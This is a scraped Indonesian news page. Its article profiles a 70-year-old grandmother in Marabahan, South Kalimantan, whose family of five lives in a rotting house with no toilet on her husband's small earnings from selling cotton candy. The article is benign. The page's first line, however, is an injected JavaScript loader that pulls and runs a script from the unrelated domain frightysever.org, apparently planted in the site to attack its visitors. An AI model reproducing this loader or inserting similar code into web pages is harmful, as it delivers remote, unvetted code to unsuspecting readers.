(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
HEADLINE

Kamar Buang Hajat Pun Tak Ada, Nenek Ini Bertahan di Rumah Tua


MARABAHAN, Kartini, nenek berusia 70 tahun ini ikhlas tinggal di rumah tua berusia 20 tahun bersama suami, anaknya yang janda bersama dua cucunya. Keinginan untuk memiliki rumah ideal, hanya sanggup ia bayangkan dalam mimpi.

Tamsir, suami yang telah berusia 75 tahun menjadi satu-satunya tulang punggung keluarga. “Jualan gulali di sekolah-sekolah pakai motor tua,” lirih Kartini terkekeh. Kartini berkata penghasilan suaminya rata-rata Rp 30 ribu dalam satu hari.

“Uang segitu untuk makan kami berlima dalam sehari. Alhamdulillah harus tetap disyukuri,” ujarnya sembari tersenyum.

Ditemui Kanalkalimantan.com Rabu (8/1) sore, warga Desa Antar Raya, Kecamatan Marabahan Kabupaten Barito Kuala itu menunjukan setiap sudut rumah yang hampir lapuk dimakan usia. Lantai tengah rumah itu sudah miring. Suara kayu saling bergesekan kerap terdengar ketika kaki penulis melangkah.

Ada dua ruangan kecil berdinding tanpa pintu di dalam rumah ini. Satu untuk tidur, satu untuk menyimpan barang. Sedangkan ruang utama jadi tempat multiguna. Ya, di ruang multiguna inilah, Kartini menerima tamu, makan, juga tempat tidur kalau malam hari tiba.

Di bagian belakang rumah hanya berlantai tanah. Berbagi fungsi sebagai tempat memasak dan menyimpan padi. Penulis cuma bisa menahan hajat kecil saat mendapati kondisi bahwa Kartini dan keluarga tak punya toilet dan kamar mandi.

“Mandi dan sebagainya di sungai,” sahut Kartini.

Sembari menyeruput kopi buatan Kartini, penulis menatap lubang-lubang cahaya di rumah ini. “Ya.. kalau hujan bocor,” kembali Kartini mengukir senyum. Meski penuh keterbatasan, Kartini selalu menyajikan wajah yang penuh keceriaan. “Bagaimanapun hidup harus selalu disyukuri, Allah itu Maha Pengasih,” demikian ia penuh keyakinan.

Waktu sudah beranjak petang sekitar 17.12 Wita, kala penulis berpamitan, Mbah Tamsir belum juga pulang dari berjualan gulali. (kanalkalimantan.com/retno)

 

Reporter : Retno
Editor : Bie

 

 


Desy Arfianty

Recent Posts

Jalinan Erat Silaturahmi Warga Sungai Besar dari Budaya Banjar “Balogo”

KANALKALIMANTAN.COM, BANJARBARU – Suasana riuh diiringi tawa gembira warga baik tua, muda, hingga anak-anak, larut… Read More

3 jam ago

Pelantikan Pengurus Wilayah Keluarga Besar PII Kalsel

KANALKALIMANTAN.COM, BANJARMASIN – 4 Mei diperingati Hari Bangkit (Harba) organisasi pelajar tertua di Tanah Air,… Read More

4 jam ago

Lesti Kejora Hingga Ria Ricis Siap Ramaikan Silet Awards 2024!

KANALKALIMANTAN.COM, - Ajang penghargaan paling dramatis dan paling sensasional yang ditunggu masyarakat, Silet Awards 2024… Read More

5 jam ago

Kontes Motor 2Tak “Entwosiastrokes Volume 2 2024” di Banjarbaru, Ajang Adu Para Modifikator Banua

KANALKALIMANTAN.COM, BANJARBARU - Wali Kota Banjarbaru Aditya Mufti Ariffin mengapreasiasi penyelenggaraan event kontes motor "Entwosiastrokes… Read More

6 jam ago

Kali Pertama Airbus A340 Layani Jemaah Haji Embarkasi Banjarmasin

Penerbangan Kloter 1 Sempat Terlambat 30 Menit Read More

10 jam ago

100 Peserta Ramaikan Kejuaraan Catur se Kalteng Piala Pj Bupati Kapuas

KANALKALIMANTAN.COM, KUALA KAPUAS - Kejuaraan catur piala Pj Bupati Kapuas se Kalimantan Tengah dibuka oleh… Read More

12 jam ago

This website uses cookies.